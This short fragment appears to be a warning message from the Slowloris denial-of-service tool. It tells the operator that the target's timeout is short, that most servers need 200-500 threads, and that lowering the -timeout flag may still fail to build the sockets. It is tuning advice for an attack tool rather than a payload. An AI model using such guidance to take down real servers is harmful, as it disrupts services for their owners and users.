Since the timeout ended up being so small ($delay seconds) and it generally 
takes between 200-500 threads for most servers and assuming any latency at 
all...  you might have trouble using Slowloris against this target.  You can 
tweak the -timeout flag down to less than 10 seconds but it still may not 
build the sockets in time.
